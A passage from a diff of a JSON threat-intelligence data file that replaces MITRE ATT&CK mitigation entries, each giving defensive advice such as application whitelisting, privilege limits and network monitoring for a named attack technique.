requested, however, this option will not be popular among users due to the constant UAC interruptions.", - "value": "Application Shimming Mitigation - T1138", - "uuid": "cfc2d2fc-14ff-495f-bd99-585be47b804f" - }, - { - "description": "Limit privileges of user accounts and remediate Privilege Escalation vectors so only authorized users can create scheduled jobs. Identify and block unnecessary system utilities or potentially malicious software that may be used to schedule jobs using whitelisting tools.", - "value": "Local Job Scheduling Mitigation - T1168", - "uuid": "c47a9b55-8f61-4b82-b833-1db6242c754e" - }, - { - "description": "Mitigation of this technique may be difficult and unadvised due to the the legitimate use of hidden files and directories.", - "value": "Hidden Files and Directories Mitigation - T1158", - "uuid": "84d633a4-dd93-40ca-8510-40238c021931" - }, - { - "description": "Prevent files from having a trailing space after the extension.", - "value": "Space after Filename Mitigation - T1151", - "uuid": "02f0f92a-0a51-4c94-9bda-6437b9a93f22" - }, - { - "description": "Follow Office macro security best practices suitable for your environment. Disable Office VBA macros from executing. Even setting to disable with notification could enable unsuspecting users to execute potentially malicious macros. (Citation: TechNet Office Macro Security)\n\nFor the Office Test method, create the Registry key used to execute it and set the permissions to \"Read Control\" to prevent easy access to the key without administrator permissions or requiring Privilege Escalation. (Citation: Palo Alto Office Test Sofacy)\n\nDisable Office add-ins. If they are required, follow best practices for securing them by requiring them to be signed and disabling user notification for allowing add-ins. For some add-ins types (WLL, VBA) additional mitigation is likely required as disabling add-ins in the Office Trust Center does not disable WLL nor does it prevent VBA code from executing. (Citation: MRWLabs Office Persistence Add-ins)", - "value": "Office Application Startup Mitigation - T1137", - "uuid": "8ca6a5e0-aae5-49bc-8d07-f888c7dba9ea" - }, - { - "description": "Network intrusion detection and prevention systems that use network signatures to identify traffic for specific adversary malware can be used to mitigate activity at the network level. Signatures are often for unique indicators within protocols and may be based on the specific obfuscation technique used by a particular adversary or tool, and will likely be different across various malware families and versions. Adversaries will likely change tool C2 signatures over time or construct protocols in such a way as to avoid detection by common defensive tools. (Citation: University of Birmingham C2)", - "value": "Data Encoding Mitigation - T1132", - "uuid": "fcbe8424-eb3e-4794-b76d-e743f5a49b8b" - }, - { - "description": "Due to potential legitimate uses of source commands, it's may be difficult to mitigate use of this technique.", - "value": "Source Mitigation - T1153", - "uuid": "5391ece4-8866-415d-9b5e-8dc5944f612a" - }, - { - "description": "Update software regularly. Install software in write-protected locations. Use the program sxstrace.exe that is included with Windows along with manual inspection to check manifest files for side-loading vulnerabilities in software.", - "value": "DLL Side-Loading Mitigation - T1073", - "uuid": "7a14d974-f3d9-4e4e-9b7d-980385762908" - }, - { - "description": "Prevent users from installing their own launch agents or launch daemons and instead require them to be pushed out by group policy.", - "value": "Launchctl Mitigation - T1152", - "uuid": "e333cf16-5bfa-453e-8e6a-3a4c63d6bfcc" - }, - { - "description": "Identify potentially malicious software that may contain rootkit functionality, and audit and/or block it by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)", - "value": "Rootkit Mitigation - T1014", - "uuid": "95ddb356-7ba0-4bd9-a889-247262b8946f" - }, - { - "description": "Misconfiguration of permissions in the Registry may lead to opportunities for an adversary to execute code, like through Service Registry Permissions Weakness. Ensure proper permissions are set for Registry hives to prevent users from modifying keys for system components that may lead to privilege escalation.\n\nIdentify and block unnecessary system utilities or potentially malicious software that may be used to modify the Registry by using whitelisting (Citation: Beechey 2010) tools like AppLocker (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)", - "value": "Modify Registry Mitigation - T1112", - "uuid": "ed202147-4026-4330-b5bd-1e8dfa8cf7cc" - }, - { - "description": "Benign software uses legitimate processes to gather system time. Efforts should be focused on preventing unwanted or unknown code from executing on a system. Some common tools, such as net.exe, may be blocked by policy to prevent common ways of acquiring remote system time.\n\nIdentify unnecessary system utilities or potentially malicious software that may be used to acquire system time information, and audit and/or block them by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)", - "value": "System Time Discovery Mitigation - T1124", - "uuid": "82d8e990-c901-4aed-8596-cc002e7eb307" - }, - { - "description": "Identify and block potentially malicious software that may be executed through AppCert DLLs by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) that are capable of auditing and/or blocking unknown DLLs.", - "value": "AppCert DLLs Mitigation - T1182", - "uuid": "95c29444-49f9-49f7-8b20-bcd68d8fcaa6" - }, - { - "description": "Identify unnecessary system utilities or potentially malicious software that may be used to acquire information about network connections, and audit and/or block them by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)", - "value": "System Network Connections Discovery Mitigation - T1049", - "uuid": "c1676218-c16a-41c9-8f7a-023779916e39" - }, - { - "description": "Ensure Protected View is enabled. (Citation: Microsoft Protected View)\n\nRegistry keys specific to Microsoft Office feature control security can be set to disable automatic DDE/OLE execution. (Citation: Microsoft DDE Advisory Nov 2017) (Citation: BleepingComputer DDE Disabled in Word Dec 2017)", - "value": "Dynamic Data Exchange Mitigation - T1173", - "uuid": "80c91478-ac87-434f-bee7-11f37aec4d74" - }, - { - "description": "Disable LLMNR and NetBIOS in local computer security settings or by group policy if they are not needed within an environment. (Citation: ADSecurity Windows Secure Baseline)\n\nUse host-based security software to block LLMNR/NetBIOS traffic.", - "value": "LLMNR/NBT-NS Poisoning Mitigation - T1171", - "uuid": "54246e2e-683f-4bf2-be4c-d7d5a60e7d22" - }, - { - "description": "Blocking software based on screen capture functionality may be difficult, and there may be legitimate software that performs those actions. Instead, identify potentially malicious software that may have functionality to acquire screen captures, and audit and/or block it by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)", - "value": "Screen Capture Mitigation - T1113", - "uuid": "51b37302-b844-4c08-ac98-ae6955ed1f55" - }, - { - "description": "Do not reuse local administrator account passwords across systems. Ensure password complexity and uniqueness such that the passwords cannot be cracked or guessed. Deny remote use of local admin credentials to log into systems. Do not allow domain user accounts to be in the local Administrators group multiple systems.\n\nIdentify unnecessary system utilities or potentially malicious software that may be used to leverage SMB and the Windows admin shares, and audit and/or block them by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)", - "value": "Windows Admin Shares Mitigation - T1077", - "uuid": "308855d1-078b-47ad-8d2a-8f9b2713ffb5" - }, - { - "description": "Identify unnecessary system utilities or potentially malicious software that may be used to deobfuscate or decode files or information, and audit and/or block them by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)", - "value": "Deobfuscate/Decode Files or Information Mitigation - T1140", - "uuid": "d01f473f-3cdc-4867-9e55-1de9cf1986f0" - }, - { - "description": "Preventing users from deleting or writing to certain files can stop adversaries from maliciously altering their ~/.bash_history files. Additionally, making these environment variables readonly can make sure that the history is preserved (Citation: Securing bash history).", - "value": "Clear Command History Mitigation - T1146", - "uuid": "3e7018e9-7389-48e7-9208-0bdbcbba9483" - }, - { - "description": "Use auditing tools capable of detecting privilege and service abuse opportunities on systems within an enterprise and correct them. Limit privileges of user accounts and groups so that only authorized administrators can interact with service changes and service configurations. Toolkits like the PowerSploit framework contain the PowerUp modules that can be used to explore systems for Privilege Escalation weaknesses. (Citation: Powersploit)\n\nIdentify and block potentially malicious software that may be executed through service abuse by using whitelisting (Citation: Beechey 2010) tools like AppLocker (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) that are capable of auditing and/or blocking unknown programs.", - "value": "Modify Existing Service Mitigation - T1031", - "uuid": "fe0aeb41-1a51-4152-8467-628256ea6adf" - }, - { - "description": "Evaluate the security of third-party software that could be used to deploy or execute programs. Ensure that access to management systems for deployment systems is limited, monitored, and secure. Have a strict approval policy for use of deployment systems.\n\nGrant access to application deployment systems only to a limited number of authorized administrators. Ensure proper system and access isolation for critical network systems through use of firewalls, account privilege separation, group policy, and multifactor authentication. Verify that account credentials that may be used to access deployment systems are unique and not used throughout the enterprise network. Patch deployment systems regularly to prevent potential remote access through Exploitation of Vulnerability. \n\nIf the application deployment system can be configured to deploy only signed binaries, then ensure that the trusted signing certificates are not co-located with the application deployment system and are instead located on a system that cannot be accessed remotely or to which remote access is tightly controlled.", - "value": "Third-party Software Mitigation - T1072", - "uuid": "160af6af-e733-4b6a-a04a-71c620ac0930" - }, - { - "description": "Mitigating this technique specifically may be difficult as it requires fine-grained API control. Efforts should be focused on preventing unwanted or unknown code from executing on a system.\n\nIdentify and block potentially malicious software that may be used to capture video and images by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)", - "value": "Video Capture Mitigation - T1125", - "uuid": "d9f4b5fa-2a39-4bdf-b40a-ea998933cd6d" - }, - { - "description": "This type of attack technique cannot be easily mitigated with preventive controls since it is based on the abuse of operating system design features. For example, mitigating specific API calls will likely have unintended side effects, such as preventing legitimate software (i.e., security products) from operating properly. Efforts should be focused on preventing adversary tools from running earlier in the chain of activity and on identifying subsequent malicious behavior.\n\nAlthough EWM injection may be used to evade certain types of defenses, it is still good practice to identify potentially malicious software that may be used to perform adversarial actions and audit and/or block it by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)", - "value": "Extra Window Memory Injection Mitigation - T1181", - "uuid": "cba5667e-e3c6-44a4-811c-266dbc00e440" - }, - { - "description": "HTTP Public Key Pinning (HPKP) is one method to mitigate potential man-in-the-middle situations where and adversary uses a mis-issued or fraudulent certificate to intercept encrypted communications by enforcing use of an expected certificate. (Citation: Wikipedia HPKP)", - "value": "Install Root Certificate Mitigation - T1130", - "uuid": "23061b40-a7b6-454f-8950-95d5ff80331c" - }, - { - "description": "Set account lockout policies after a certain number of failed login attempts to prevent passwords from being guessed. Use multifactor authentication. Follow best practices for mitigating access to Valid Accounts", - "value": "Brute Force Mitigation - T1110", - "uuid": "4a99fecc-680b-448e-8fe7-8144c60d272c" - }, - { - "description": "The password for the user's login keychain can be changed from the user's login password. This increases the complexity for an adversary because they need to know an additional password.", - "value": "Keychain Mitigation - T1142", - "uuid": "56648de3-8947-4559-90c4-eda10acc0f5a" - }, - { - "description": "Use of encryption provides an added layer of security to sensitive information sent over email. Encryption using public key cryptography requires the adversary to obtain the private certificate along with an encryption key to decrypt messages.\n\nUse of two-factor authentication for public-facing webmail servers is also a recommended best practice to minimize the usefulness of user names and passwords to adversaries.\n\nIdentify unnecessary system utilities or potentially malicious software that may be used to collect email data files or access the corporate email server, and audit and/or block them by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)", - "value": "Email Collection Mitigation - T1114", - "uuid": "383caaa3-c46a-4f61-b2e3-653eb132f0e7" - }, - { - "description": "Update software regularly by employing patch management for internal enterprise endpoints and servers. Develop a robust cyber threat intelligence capability to determine what types and levels of threat may use software exploits and 0-days against a particular organization. Make it difficult for adversaries to advance their operation through exploitation of undiscovered or unpatched vulnerabilities by using sandboxing, virtualization, and exploit prevention tools such as the Microsoft Enhanced Mitigation Experience Toolkit. (Citation: SRD EMET)", - "value": "Exploitation of Vulnerability Mitigation - T1068", - "uuid": "92e6d080-ca3f-4f95-bc45-172a32c4e502" - }, - { - "description": "Network intrusion detection and prevention systems that use network signatures to identify traffic for specific adversary malware or unusual data transfer over known tools and protocols like FTP can be used to mitigate activity at the network level. Signatures are often for unique indicators within protocols and may be based on the specific obfuscation technique used by a particular adversary or tool, and will likely be different across various malware families and versions. Adversaries will likely change tool C2 signatures over time or construct protocols in such a way as to avoid detection by common defensive tools. (Citation: University of Birmingham C2)", - "value": "Remote File Copy Mitigation - T1105", - "uuid": "cdecc44a-1dbf-4c1f-881c-f21e3f47272a" - }, - { - "description": "Follow best practices for network firewall configurations to allow only necessary ports and traffic to enter and exit the network. For example, if services like FTP are not required for sending information outside of a network, then block FTP-related ports at the network perimeter. Enforce proxies and use dedicated servers for services such as DNS and only allow those systems to communicate over respective ports/protocols, instead of all systems within a network. (Citation: TechNet Firewall Design) These actions will help reduce command and control and exfiltration path opportunities.\n\nNetwork intrusion detection and prevention systems that use network signatures to identify traffic for specific adversary command and control infrastructure and malware can be used to mitigate activity at the network level. Signatures are often for unique indicators within protocols and may be based on the specific obfuscation technique used by a particular adversary or tool, and will likely be different across various malware families and versions. Adversaries will likely change tool command and control signatures over time or construct protocols in such a way to avoid detection by common defensive tools. (Citation: University of Birmingham C2)", - "value": "Exfiltration Over Alternative Protocol Mitigation - T1048", - "uuid": "0e5bdf42-a7f7-4d16-a074-4915bd262f80" - }, - { - "description": "Use strong passphrases for private keys to make cracking difficult. When possible, store keys on separate cryptographic hardware instead of on the local system. Ensure only authorized keys are allowed access to critical resources and audit access lists regularly. Ensure permissions are properly set on folders containing sensitive private keys to prevent unintended access. Use separate infrastructure for managing critical systems to prevent overlap of credentials and permissions on systems that could be used as vectors for lateral movement. Follow other best practices for mitigating access through use of Valid Accounts.", - "value": "Private Keys Mitigation - T1145", - "uuid": "f27ef4f2-71fe-48b6-b7f4-02dcac14320e" - }, - { - "description": "Limit privileges of user accounts so only authorized users can edit the rc.common file.", - "value": "Rc.common Mitigation - T1163", - "uuid": "c3cf2312-3aab-4aaf-86e6-ab3505430482" - }, - { - "description": "Access tokens are an integral part of the security system within Windows and cannot be turned off. However, an attacker must already have administrator level access on the local system to make full use of this technique; be sure to restrict users and accounts to the least privileges they require to do their job.\n\nAny user can also spoof access tokens if they have legitimate credentials. Follow mitigation guidelines for preventing adversary use of Valid Accounts. Limit permissions so that users and user groups cannot create tokens. This setting should be defined for the local system account only. GPO: Computer Configuration > [Policies] > Windows Settings > Security Settings > Local Policies > User Rights Assignment: Create a token object. (Citation: Microsoft Create Token) Also define who can create a process level token to only the local and network service through GPO: Computer Configuration > [Policies] > Windows Settings > Security Settings > Local Policies > User Rights Assignment: Replace a process level token. (Citation: Microsoft Replace Process Token)\n\nAlso limit opportunities for adversaries to increase privileges by limiting Privilege Escalation opportunities.", - "value": "Access Token Manipulation Mitigation - T1134", - "uuid": "c61fee9f-16fb-4f8c-bbf0-869093fcd4a6" - }, - { - "description": "Whitelist programs that are allowed to have this plist tag. All other programs should be considered suspicious.", - "value": "Hidden Window Mitigation - T1143", - "uuid": "fae44eea-caa7-42b7-a2e2-0c815ba81b9a" - }, - { - "description": "Disable the RDP service if it is unnecessary, remove unnecessary accounts and groups from Remote Desktop Users groups, and enable firewall rules to block RDP traffic between network security zones. Audit the Remote Desktop Users group membership regularly. Remove the local Administrators group from the list of groups allowed to log in through RDP. Limit remote user permissions if remote access is necessary. Use remote desktop gateways and multifactor authentication for remote logins. (Citation: Berkley Secure) Do not leave RDP accessible from the internet. Change GPOs to define shorter timeouts sessions and maximum amount of time any single session can be active. Change GPOs to specify the maximum amount of time that a disconnected session stays active on the RD session host server. (Citation: Windows RDP Sessions)", - "value": "Remote Desktop Protocol Mitigation - T1076", - "uuid": "53b3b027-bed3-480c-9101-1247047d0fe6" - }, - { - "description": "Firewalls and Web proxies can be used to enforce external network communication policy. It may be difficult for an organization to block particular services because so many of them are commonly used during the course of business.\n\nNetwork intrusion detection and prevention systems that use network signatures to identify traffic for specific adversary malware can be used to mitigate activity at the network level. Signatures are often for unique indicators within protocols and may be based on the specific protocol or encoded commands used by a particular adversary or tool, and will likely be different across various malware families and versions. Adversaries will likely change tool C2 signatures over time or construct protocols in such a way as to avoid detection by common defensive tools. (Citation: University of Birmingham C2)", - "value": "Web Service Mitigation - T1102", - "uuid": "4689b9fb-dca4-473e-831b-34717ad50c97" - }, - { - "description": "Users need to be trained to know which programs ask for permission and why. Follow mitigation recommendations for AppleScript.", - "value": "Input Prompt Mitigation - T1141", - "uuid": "8a61f6b9-6b7a-4cf2-8e08-f1e26434f6df" - }, - { - "description": "Use network intrusion detection/prevention systems to detect and prevent remote service scans. Ensure that unnecessary ports and services are closed and proper network segmentation is followed to protect critical servers and devices.\n\nIdentify unnecessary system utilities or potentially malicious software that may be used to acquire information about services running on remote systems, and audit and/or block them by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)", - "value": "Network Service Scanning Mitigation - T1046", - "uuid": "d256cb63-b021-4b4a-bb6d-1b42eea179a3" - }, - { - "description": "Disabling WMI services may cause system instability and should be evaluated to assess the impact to a network. By default, only administrators are allowed to connect remotely using WMI; restrict other users that are allowed to connect, or disallow all users from connecting remotely to WMI. Prevent credential overlap across systems of administrator and privileged accounts. (Citation: FireEye WMI 2015)", - "value": "Windows Management Instrumentation Event Subscription Mitigation - T1084", - "uuid": "0bc3ce00-83bc-4a92-a042-79ffbc6af259" - }, - { - "description": "Identify unnecessary system utilities or potentially malicious software that may be used to collect data from the local system, and audit and/or block them by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)", - "value": "Data from Local System Mitigation - T1005", - "uuid": "7ee0879d-ce4f-4f54-a96b-c532dfb98ffd" - }, - { - "description": "Network intrusion detection and prevention systems that use network signatures to identify traffic for specific adversary malware can be used to mitigate activity at the network level. Since the custom protocol used may not adhere to typical protocol standards, there may be opportunities to signature the traffic on a network level for detection. Signatures are often for unique indicators within protocols and may be based on the specific protocol used by a particular adversary or tool, and will likely be different across various malware families and versions. Adversaries will likely change tool C2 signatures over time or construct protocols in such a way as to avoid detection by common defensive tools. (Citation: University of Birmingham C2)", - "value": "Custom Cryptographic Protocol Mitigation - T1024", - "uuid": "a569295c-a093-4db4-9fb4-7105edef85ad" - }, - { - "description": "Establish an organizational policy that prohibits password storage in files. Ensure that developers and system administrators are aware of the risk associated with having plaintext passwords in software configuration files that may be left on endpoint systems or servers. Preemptively search for files containing passwords and remove when found. Restrict file shares to specific directories with access only to necessary users. Remove vulnerable Group Policy Preferences. (Citation: Microsoft MS14-025)", - "value": "Credentials in Files Mitigation - T1081", - "uuid": "0472af99-f25c-4abe-9fce-010fa3450e72" - }, - { - "description": "Identify unnecessary system utilities or potentially malicious software that may be used to acquire information about groups and permissions, and audit and/or block them by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)", - "value": "Permission Groups Discovery Mitigation - T1069", - "uuid": "dd9a85ad-6a92-4986-a215-b01d0ce7b987" - }, - { - "description": "Restrict write access to logon scripts to specific administrators. Prevent access to administrator accounts by mitigating Credential Access techniques and limiting account access and permissions of Valid Accounts.\n\nIdentify and block potentially malicious software that may be executed through logon script modification by using whitelisting (Citation: Beechey 2010) tools like AppLocker (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) that are capable of auditing and/or blocking unknown programs.", - "value": "Logon Scripts Mitigation - T1037", - "uuid": "9ab7de33-99b2-4d8d-8cf3-182fa0015cc2" - }, - { - "description": "Process whitelisting and trusted publishers to verify authenticity of software can help prevent signed malicious or untrusted code from executing on a system. (Citation: NSA MS AppLocker) (Citation: TechNet Trusted Publishers) (Citation: Securelist Digital Certificates)", - "value": "Code Signing Mitigation - T1116", - "uuid": "82fbc58b-171d-4a2d-9a20-c6b2a716bd08" - }, - { - "description": "Disable the WinRM service. If the service is necessary, lock down critical enclaves with separate WinRM infrastructure, accounts, and permissions. Follow WinRM best practices on configuration of authentication methods and use of host firewalls to restrict WinRM access to allow communication only to/from specific devices. (Citation: NSA Spotting)", - "value": "Windows Remote Management Mitigation - T1028", - "uuid": "3e9f8875-d2f7-4380-a578-84393bd3b025" - }, - { - "description": "Ensure that externally facing Web servers are patched regularly to prevent adversary access through Exploitation of Vulnerability to gain remote code access or through file inclusion weaknesses that may allow adversaries to upload files or scripts that are automatically served as Web pages. \n\nAudit account and group permissions to ensure that accounts used to manage servers do not overlap with accounts and permissions of users in the internal network that could be acquired through Credential Access and used to log into the Web server and plant a Web shell or pivot from the Web server into the internal network. (Citation: US-CERT Alert TA15-314A Web Shells)", - "value": "Web Shell Mitigation - T1100", - "uuid": "bcc91b8c-f104-4710-964e-1d5409666736" - }, - { - "description": "This type of attack technique cannot be easily mitigated with preventive controls or patched since it is based on the abuse of operating system design features. For example, mitigating specific API calls will likely have unintended side effects, such as preventing legitimate process-loading mechanisms from operating properly. Efforts should be focused on preventing adversary tools from running earlier in the chain of activity and on identifying subsequent malicious behavior.\n\nAlthough Process Doppelgänging may be used to evade certain types of defenses, it is still good practice to identify potentially malicious software that may be used to perform adversarial actions and audit and/or block it by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)", - "value": "Process Doppelgänging Mitigation - T1186", - "uuid": "34d6a2ef-370e-4d21-a34b-6208b7c78f31" - }, - { - "description": "Network intrusion detection and prevention systems that use network signatures to identify traffic for specific adversary malware can be used to mitigate activity at the network level. Signatures are often for unique indicators within protocols and may be based on the specific obfuscation technique used by a particular adversary or tool, and will likely be different across various malware families and versions. Adversaries will likely change tool C2 signatures over time or construct protocols in such a way as to avoid detection by common defensive tools. (Citation: University of Birmingham C2)", - "value": "Data Obfuscation Mitigation - T1001", - "uuid": "d0fcf37a-b6c4-4745-9c43-4fcdb8bfc88e" - }, - { - "description": "Ensure updated virus definitions. Create custom signatures for observed malware. Employ heuristic-based malware detection.\n\nIdentify and prevent execution of potentially malicious software that may have been packed by using whitelisting (Citation: Beechey 2010) tools like AppLocker (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)", - "value": "Software Packing Mitigation - T1045", - "uuid": "c95c8b5c-b431-43c9-9557-f494805e2502" - }, - { - "description": "Identify unnecessary system utilities or potentially malicious software that may be used to acquire information about local security software, and audit and/or block them by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)", - "value": "Security Software Discovery Mitigation - T1063", - "uuid": "bd2554b8-634f-4434-a986-9b49c29da2ae" - } - ] -} + "name": "Enterprise Attack - Course of Action", + "type": "mitre-enterprise-attack-course-of-action", + "description": "ATT&CK Mitigation", + "version": 4, + "source": "https://github.com/mitre/cti", + "uuid": "fb870a6a-1707-11e8-b548-17523e4d0670", + "authors": [ + "MITRE" + ], + "values": [ + { + "description": "Direct mitigation of this technique may not be recommended for a particular environment since COM objects are a legitimate part of the operating system and installed software. Blocking COM object changes may have unforeseen side effects to legitimate functionality.\n\nInstead, identify and block potentially malicious software that may execute, or be executed by, this technique using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)", + "value": "Component Object Model Hijacking Mitigation - T1122", + "uuid": "ff5d862a-ae6b-4833-8c15-e235d654d28e", + "meta": { + "external_id": "T1122" + } + }, + { + "description": "Mitigations for command and control apply. Network intrusion detection and prevention systems that use network signatures to identify traffic for specific adversary malware can be used to mitigate activity at the network level. Signatures are often for unique indicators within protocols and may be based on the specific obfuscation technique used by a particular adversary or tool, and will likely be different across various malware families and versions. Adversaries will likely change tool command and control signatures over time or construct protocols in such a way to avoid detection by common defensive tools. (Citation: University of Birmingham C2)", + "value": "Exfiltration Over Command and Control Channel Mitigation - T1041", + "uuid": "92c28497-2820-445e-9f3e-a03dd77dc0c8", + "meta": { + "external_id": "T1041" + } + }, + { + "description": "This type of attack technique cannot be easily mitigated with preventive controls since it is based on the abuse of operating system design features. For example, mitigating specific Windows API calls will likely have unintended side effects, such as preventing legitimate software (i.e., security products) from operating properly. Efforts should be focused on preventing adversary tools from running earlier in the chain of activity and on identification of subsequent malicious behavior. (Citation: GDSecurity Linux injection)\n\nIdentify or block potentially malicious software that may contain process injection functionality by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)\n\nUtilize Yama (Citation: Linux kernel Yama) to mitigate ptrace based process injection by restricting the use of ptrace to privileged users only. Other mitigation controls involve the deployment of security kernel modules that provide advanced access control and process restrictions such as SELinux (Citation: SELinux official), grsecurity (Citation: grsecurity official), and AppAmour (Citation: AppArmor official).", + "value": "Process Injection Mitigation - T1055", + "uuid": "74febc44-8955-4e4d-aca0-d4dad2f967d7", + "meta": { + "external_id": "T1055" + } + }, + { + "description": "Remove users from the local administrator group on systems. Although UAC bypass techniques exist, it is still prudent to use the highest enforcement level for UAC when possible and mitigate bypass opportunities that exist with techniques such as DLL Search Order Hijacking. \n\nCheck for common UAC bypass weaknesses on Windows systems to be aware of the risk posture and address issues where appropriate. (Citation: Github UACMe)", + "value": "Bypass User Account Control Mitigation - T1088", + "uuid": "beb45abb-11e8-4aef-9778-1f9ac249784f", + "meta": { + "external_id": "T1088" + } + }, + { + "description": "Audit and/or block command-line interpreters by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)", + "value": "Command-Line Interface Mitigation - T1059", + "uuid": "f28a20fd-d173-4603-807e-2cb3f51bdf04", + "meta": { + "external_id": "T1059" + } + }, + { + "description": "Disallow loading of remote DLLs. (Citation: Microsoft DLL Preloading) This is included by default in Windows Server 2012+ and is available by patch for XP+ and Server 2003+. (Citation: Microsoft DLL Search) Path Algorithm\n\nEnable Safe DLL Search Mode to force search for system DLLs in directories with greater restrictions (e.g. %SYSTEMROOT%)to be used before local directory DLLs (e.g. a user's home directory). The Safe DLL Search Mode can be enabled via Group Policy at Computer Configuration > [Policies] > Administrative Templates > MSS (Legacy): MSS: (SafeDllSearchMode) Enable Safe DLL search mode. The associated Windows Registry key for this is located at HKLM\\SYSTEM\\CurrentControlSet\\Control\\Session Manager\\SafeDLLSearchMode (Citation: Microsoft DLL Search)\n\nUse auditing tools capable of detecting DLL search order hijacking opportunities on systems within an enterprise and correct them. Toolkits like the PowerSploit framework contain PowerUp modules that can be used to explore systems for DLL hijacking weaknesses. (Citation: Powersploit)\n\nIdentify and block potentially malicious software that may be executed through search order hijacking by using whitelisting (Citation: Beechey 2010) tools like AppLocker (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) that are capable of auditing and/or blocking unknown DLLs.", + "value": "DLL Search Order Hijacking Mitigation - T1038", + "uuid": "96913243-2b5e-4483-a65c-bb152ddd2f04", + "meta": { + "external_id": "T1038" + } + }, + { + "description": "Properly configure firewalls and proxies to limit outgoing traffic to only necessary ports. \n\nNetwork intrusion detection and prevention systems that use network signatures to identify traffic for specific adversary malware can be used to mitigate activity at the network level. Signatures are often for unique indicators within protocols and may be based on the specific protocol used by a particular adversary or tool, and will likely be different across various malware families and versions. Adversaries will likely change tool C2 signatures over time or construct protocols in such a way as to avoid detection by common defensive tools. (Citation: University of Birmingham C2)", + "value": "Uncommonly Used Port Mitigation - T1065", + "uuid": "a0d8db1d-a731-4428-8209-c07175f4b1fe", + "meta": { + "external_id": "T1065" + } + }, + { + "description": "Identify unnecessary system utilities or potentially malicious software that may be used to acquire network share information, and audit and/or block them by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)", + "value": "Network Share Discovery Mitigation - T1135", + "uuid": "1f34230d-b6ae-4dc7-8599-78c18820bd21", + "meta": { + "external_id": "T1135" + } + }, + { + "description": "Regsvcs and Regasm may not be necessary within a given environment. Block execution of Regsvcs.exe and Regasm.exe if they are not required for a given system or network to prevent potential misuess by adversaries.", + "value": "Regsvcs/Regasm Mitigation - T1121", + "uuid": "a90da496-b460-47e8-92e7-cc36eb00bd9a", + "meta": { + "external_id": "T1121" + } + }, + { + "description": "Grant access to application deployment systems only to a limited number of authorized administrators. Ensure proper system and access isolation for critical network systems through use of firewalls, account privilege separation, group policy, and multifactor authentication. Verify that account credentials that may be used to access deployment systems are unique and not used throughout the enterprise network. Patch deployment systems regularly to prevent potential 